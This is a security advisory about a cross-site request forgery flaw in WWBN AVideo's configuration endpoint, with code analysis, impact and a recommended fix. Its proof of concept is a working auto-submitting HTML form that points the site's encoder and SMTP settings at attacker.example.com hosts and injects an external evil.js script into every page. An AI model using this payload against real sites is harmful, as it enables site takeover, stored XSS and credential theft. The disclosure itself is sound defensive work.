HIGH8.3EPSS 0.03%WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials
描述
## Summary `objects/configurationUpdate.json.php` (also routed via `/updateConfig`) persists dozens of global site settings from `$_POST` but protects the endpoint only with `User::isAdmin()`. It does not call `forbidIfIsUntrustedRequest()`, does not verify a `globalToken`, and does not validate the Origin/Referer header. Because AVideo intentionally sets `session.cookie_samesite=None` to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site `<head>` HTML, logo, favicon, contact email, and more in a single request. ## Details The entire authorization and CSRF check for the endpoint is this block at `objects/configurationUpdate.json.php:10`: ```php require_once $global['systemRootPath'] . 'objects/user.php'; if (!User::isAdmin()) { die('{"error":"' . __("Permission denied") . '"}'); } ``` Immediately after, `$_POST` values are written straight into the global `AVideoConf` object and persisted: ```php // objects/configurationUpdate.json.php $config = new AVideoConf(); $config->setContactEmail($_POST['contactEmail']); // :21 $config->setLanguage($_POST['language']); // :22 $config->setWebSiteTitle($_POST['webSiteTitle']); // :23 $config->setDescription($_POST['description']); // :24 $config->setAuthCanComment($_POST['authCanComment']); // :25 $config->setAuthCanUploadVideos($_POST['authCanUploadVideos']); // :26 // Advanced (default enabled — $global['disableAdvancedConfigurations'] is empty by default): $config->setEncoderURL($_POST['encoder_url']); // :32 $config->setSmtp($_POST['smtp']); // :33 $config->setSmtpAuth($_POST['smtpAuth']); // :34 $config->setSmtpSecure($_POST['smtpSecure']); // :35 $config->setSmtpHost($_POST['smtpHost']); // :36 $config->setSmtpUsername($_POST['smtpUsername']); // :37 $config->setSmtpPassword($_POST['smtpPassword']); // :38 $config->setSmtpPort($_POST['smtpPort']); // :39 $config->setHead($_POST['head']); // :42 // ... // Logo / favicon writes: $fileData = base64DataToImage($_POST['logoImgBase64']); // :68 file_put_contents($global['systemRootPath'] . $photoURL, $fileData); // :71 // favicon base64 → file_put_contents → ImageMagick `convert` invocation (:88-120) echo '{"status":"' . $config->save() . '", ...}'; // :130 ``` ### Why CSRF actually lands 1. **SameSite is intentionally `None`.** `objects/include_config.php:144` sets `ini_set('session.cookie_samesite', 'None')` and the adjacent comment states the design: *"SameSite=None is intentional: AVideo supports cross-origin iframe embedding… All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken)."* This endpoint enforces no such token. 2. **Project already ships a CSRF primitive and uses it elsewhere.** `objects/functionsSecurity.php:138` defines `forbidIfIsUntrustedRequest()`, and the peer admin endpoint `objects/userUpdate.json.php:18` calls it explicitly. `configurationUpdate.json.php` has no such call — grepping the file confirms no `forbidIfIsUntrustedRequest`, `verifyToken`, `globalToken`, or Origin/Referer check. 3. **The request is CORS-simple.** The admin UI submits with jQuery `$.ajax(...type: 'post', data: {...})` (see `view/configurations_body.php:753`), which sends `application/x-www-form-urlencoded`. That content type is a CORS "simple" request — no preflight — so any third-party origin can trigger it from a `<form>` with the admin's session cookie attached. 4. **Reachable via two paths.** Direct `POST /objects/configurationUpdate.json.php` works, and `.htaccess:459` also exposes it at `POST /updateConfig`. ### Impact primitives unlocked by a single CSRF request - **`setEncoderURL()`** — redirects future encoder operations (URL metadata fetching, chunked uploads, remote file ingestion in `aVideoEncoder.json.php` / `videoAddNew.json.php`) to the attacker's server. Attacker-controlled encoder responses are trusted downstream for titles, descriptions, download URLs, etc. - **`setSmtpHost/Username/Password/Port/Secure/Auth`** — the next outbound mail (password reset, signup confirmation, admin notifications) goes through the attacker's SMTP relay, harvesting reset tokens and user credentials. - **`setHead()`** — attacker-chosen raw HTML is injected into every page's `<head>`, giving persistent site-wide stored XSS (e.g. `<script src="https://attacker/evil.js"></script>`) that fires in every visitor's browser including the admin, enabling session theft of arbitrary users. - **`logoImgBase64` / `faviconBase64`** — attacker-controlled bytes are `file_put_contents`-ed into the web root under `videos/userPhoto/logo.png` and `videos/favicon.png`. - **`setContactEmail`, `setWebSiteTitle`, `setAuthCanUploadVideos`, `setAllow_download`, `setSession_timeout`, `setAdsense`, `setDisable_analytics`** — full site policy and branding control. ## PoC 1. Attacker hosts `evil.html` on any origin: ```html <!doctype html> <html><body> <form id="x" action="https://victim.example.com/objects/configurationUpdate.json.php" method="POST" enctype="application/x-www-form-urlencoded"> <input name="contactEmail" value="[email protected]"> <input name="language" value="en"> <input name="webSiteTitle" value="Pwned"> <input name="description" value="x"> <input name="authCanComment" value="1"> <input name="authCanUploadVideos" value="1"> <input name="authCanViewChart" value="1"> <input name="disable_analytics" value="0"> <input name="allow_download" value="1"> <input name="session_timeout" value="3600"> <input name="encoder_url" value="https://attacker.example.com/Encoder/"> <input name="smtp" value="1"> <input name="smtpAuth" value="1"> <input name="smtpSecure" value="tls"> <input name="smtpHost" value="smtp.attacker.com"> <input name="smtpUsername" value="attacker"> <input name="smtpPassword" value="password"> <input name="smtpPort" value="587"> <input name="head" value='<script src="https://attacker.example.com/evil.js"></script>'> <input name="adsense" value="x"> <input name="autoplay" value="1"> <input name="theme" value="default"> </form> <script>document.getElementById('x').submit();</script> </body></html> ``` 2. Any user authenticated as AVideo administrator (`User::isAdmin()` true) visits `https://attacker.example.com/evil.html`. Their browser submits the form cross-origin; because `session.cookie_samesite=None`, `PHPSESSID` is included; because it's an `application/x-www-form-urlencoded` POST, no preflight is sent. 3. Server-side check at `configurationUpdate.json.php:10` passes (`User::isAdmin()` is true for the victim), and the body reaches `$config->save()` at `:130`. Response: ```json {"status":"1","respnseLogo":[],"respnseFavicon":null} ``` The site-wide configuration is now rewritten with attacker-chosen values — verifiable by visiting any page and seeing the injected `<script>` in the rendered `<head>`, and by inspecting `videos/configuration.php` / the `configurations` table. 4. Stored-XSS pivot: every subsequent visitor (including other admins) now executes `https://attacker.example.com/evil.js` from the victim site's origin, yielding session theft / full admin takeover on what were previously unrelated accounts. 5. SMTP exfiltration pivot: trigger a password-reset flow on the victim site; the SMTP handshake now goes to `smtp.attacker.com:587` with `attacker:password`, and any future mail from AVideo is observable by the attacker. ## Impact - **Full site configuration takeover** from a single cross-origin form submission against any logged-in administrator. - **Persistent stored XSS site-wide** via `setHead()`, affecting every visitor and enabling session hijack of other admins and users. - **Credential / reset-token exfiltration** via attacker-controlled SMTP relay. - **Encoder pipeline hijack**: attacker controls the upstream URL the server fetches metadata from, enabling downstream content and data poisoning. - **Arbitrary file write under web root** via `logoImgBase64` / `faviconBase64`. - No bypass of admin auth is needed — the attacker uses the victim admin's own authenticated session; only a single visit to an attacker-controlled link is required. ## Recommended Fix Call the existing CSRF primitive immediately after the admin check, matching what `objects/userUpdate.json.php:18` already does: ```php // objects/configurationUpdate.json.php require_once $global['systemRootPath'] . 'objects/user.php'; require_once $global['systemRootPath'] . 'objects/functionsSecurity.php'; if (!User::isAdmin()) { die('{"error":"' . __("Permission denied") . '"}'); } forbidIfIsUntrustedRequest('configurationUpdate'); // same-origin / CSRF token check ``` Preferably also require a short-lived `globalToken` (`verifyToken($_REQUEST['globalToken'])`) as `include_config.php:140-143` prescribes, and update `view/configurations_body.php` to include that token in the AJAX payload. Audit all other `objects/*.json.php` state-mutating endpoints for the same omission — the pattern is structural and likely present on more endpoints.
